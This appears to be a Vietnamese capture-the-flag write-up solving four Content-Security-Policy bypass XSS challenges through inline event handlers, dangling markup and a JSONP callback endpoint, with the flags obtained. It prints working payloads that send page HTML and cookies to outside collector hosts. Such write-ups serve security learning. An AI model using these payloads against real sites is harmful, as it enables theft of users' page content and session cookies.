**Bài 1: CSP Bypass- Inline Code:**

Mục tiêu của bài này là: trích xuất nội dung của trang web.

Thử gửi GET /page?user=1

Dữ liệu được phản ánh trong phản hồi:

<h1>Welcome, 1 </h1>

Mình thử <script>alert(1)</script> 🡪 Not allowed by me

script không được phép tải từ bên ngoài vì CSP.

Content-Security-Policy: connect-src 'none'; font-src 'none'; frame-src 'none'; img-src 'self'; manifest-src 'none'; media-src 'none'; object-src 'none'; script-src 'unsafe-inline'; style-src 'self'; worker-src 'none'; frame-ancestors 'none'; block-all-mixed-content;

Nếu script-src = unsafe-inline, ta có thể dùng <img src=1 onerror=alert(1)>

🡪 alert thành công

Nhưng làm sao chuyển hướng được:

<img src=1 onerror="document.location=

'//ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun'">

Để lấy được nội dung của trang: dùng document.body.innerHTML

<img src=1 onerror="document.location=

'//ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun/'

+document.body.innerHTML">

Khai thác thành công nhưng không hiểu tại sao admin lại không nhận được nó.

Payload cuối cùng là:

<img src=1 onerror="document.location=

'//ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun/'.concat(btoa(encodeURIComponent(document.body.innerHTML)))">

flag: **CSP\_34SY\_T0\_BYP4S\_W1TH\_SCR1PT**

**Bài 2: CSP Bypass – Dangling markup:**

Bài này CSP rất chặt chẽ, không thể bypass hay khai thác bình thường được.

Content-Security-Policy: connect-src 'none'; font-src 'none'; frame-src 'none'; img-src 'self'; manifest-src 'none'; media-src 'none'; object-src 'none'; script-src 'unsafe-inline'; style-src 'self'; worker-src 'none'; frame-ancestors 'none'; block-all-mixed-content;

Mục tiêu của chúng ta là lấy được flag.

Nhờ dangling markup, chúng ta có thể lấy nội dung của trang từ điểm tiêm đến dấu nháy tiếp theo (trong đó có flag)

Dùng thẻ img để load mã nguồn từ bên ngoài là không thể được vì img-src: self.

Nhưng bạn vẫn có thể dùng thẻ meta:

<meta http-equiv="refresh" content="4; URL='http://ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun/

🡪 Chuyển hướng thành công.

Nhưng nó chỉ lấy được nội dung đến div class=" (dừng lại ở dấu nháy kép)

Muốn lấy được flag phải dừng lại ở dấu nháy đơn:

<meta http-equiv="refresh" content='0; url=http://ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun/

Gửi nó cho admin là xong.

**flag: D4NGL1NG\_M4RKUP\_W1TH\_FIREF0X\_EASY**

**Bài 3: CSP Bypass – Dangling markup 2:**

Bài này cũng rất dễ, dùng table là được

<table background='//ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun/

**flag: D4NGL1NG\_M4RKUP\_W1TH\_CHR0ME\_NO\_N3W\_LINE**

**Bài 4: CSP Bypass – JSONP**

Mình cũng không hiểu JSONP lắm,kk. Một phần vì lười nghiên cứu.

Trong file JSONBee.txt có rất nhiều payload để bạn bruteforce.

Để alert thành công:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

Tìm cách chuyển hướng (hacktrick) :

<script src="/api/jsonp?callback=(function(){window.top.location.href=

`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

Nhưng cái payload trên không hoạt động với bài toán này, buộc mình phải thay đổi:

Chuyển hướng thành công:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=(function(){

document.location='//ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun/'})()"></script>

Nhưng khi mình lấy nội dung của trang thì nó bị lỗi:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=(function(){

document.location='//ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun/'%2Bdocument.body.innerHTML})()"></script>

Nội dung của trang như sau:

<body>

<div class="wrapper">

<h1>Welcome, <script src="https://accounts.google.com/o/oauth2/revoke?callback=(function(){ document.location='//ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun/'%2Bdocument.body.innerHTML})()"></script> !</h1>

<div class="message">

<p>At Quackquack corp the developers think that they do not have to patch XSS because they implement the Content Security Policy (CSP). But you are a hacker, right ? I'm sure you will be able to exfiltrate this flag: {FLAG\_REDACTED}. (Only the bot is able to see the flag)</p>

</div>

Điều đặc biệt là nó chỉ lấy cái đoạn mình highlight và không có flag.

Mình thử alert(document.body.innerHTML) thì nhận ra nó cx chỉ báo đoạn highlight thoi 🡪 chứng tỏ payload trên không sai mà do document.body

Sau một hồi nghiên cứu, mình mới hiểu ra: Dom chưa load xong, phải set time delay cái js của mình cho nó load đã

Ở đây mình kiểm soát được callback: có thể thực thi code javascript rất dễ

<script src="https://accounts.google.com/o/oauth2/revoke?callback=function%20

Waitload(){alert(document.body.innerHTML)};setTimeout(Waitload,2000)"></script>

🡪Lấy được flag rồi nha ☺

Payload cuối cùng:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=function%20

Waitload(){document.location='//ce90f7c2vtc0000mqv50g8ro8uayyyyyb.oast.fun/'

.concat(btoa(encodeURIComponent(document.body.innerHTML)))};setTimeout(Waitload,2000)"></script>

**flag: CSP\_4ND\_JS0NP\_ENDPOINT\_B4D\_ID3A**

Để làm được bài này, rõ ràng mình phải nắm được callback

**Qua các bài tập của XSS, mình học rất nhiều thứ:**

**+ Mình có thể kiểm tra payload Javascript bằng F12(inspect+console)**

**+ Mình có thể code để khai thác thử**